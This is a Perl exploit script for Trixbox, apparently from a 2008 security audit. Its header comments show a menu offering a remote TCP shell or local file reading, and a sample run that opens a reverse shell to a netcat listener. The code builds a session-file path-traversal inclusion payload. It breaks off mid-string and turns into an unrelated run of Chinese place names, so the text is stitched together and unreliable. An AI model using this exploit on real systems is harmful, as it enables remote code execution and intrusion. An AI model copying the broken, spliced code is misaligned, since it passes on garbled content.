#!/usr/bin/perl -w # Jean-Michel BESNARD - LEXSI Audit # 2008-07-08 # perl trixbox_fi.pl 192.168.1.212 # Please listen carefully as our menu option has changed # Choose from the following options: # 1> Remote TCP shell # 2> Read local file # 1 # Host and port the reverse shell should connect to ? (<host>:<port>): 192.168.1.132:4444 # Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444) # Press enter to continue... # done... # nc -l -v -p 4444 # listening on [any] 4444 ... # connect to [192.168.1.132] from [192.168.1.212] 46532 # JMB: no job control in this shell # JMB: /root/.bashrc: Permission denied # JMB-3.1$ id # uid=102(asterisk) gid=103(asterisk) groups=103(asterisk) use strict; use Switch; use LWP::UserAgent; use HTTP::Cookies; usage() unless @ARGV; my $url = "http://$ARGV[0]/user/index.php"; my $ua = LWP::UserAgent->new; my $cookie_jar = HTTP::Cookies->new; $ua->cookie_jar($cookie_jar); menu(); sub execScript{ my $scriptCode = shift; post($scriptCode); my $phpsessionid = extractPHPSID($cookie_jar->as _string); post("langChoice=../../../../../tmp/sess_$phpsessionid 朔州市| 二手房| 五指山市| 五莲县| 塔城市| 岳阳市| 天气| 六枝特区| 马龙县| 将乐县| 永州市| 沈阳市| 疏勒县| 利辛县| 曲阜市| 凤凰县| 汝南县| 虞城县| 周至县| 伊金霍洛旗| 西充县| 兴仁县| 开原市| 鄂托克旗| 施秉县| 略阳县| 新郑市| 桃园市| 汶上县| 莒南县| 汕尾市| 富源县| 枝江市| 宁国市| 墨竹工卡县| 西昌市| 淳安县| 广东省| 临泉县| 石城县| 云南省|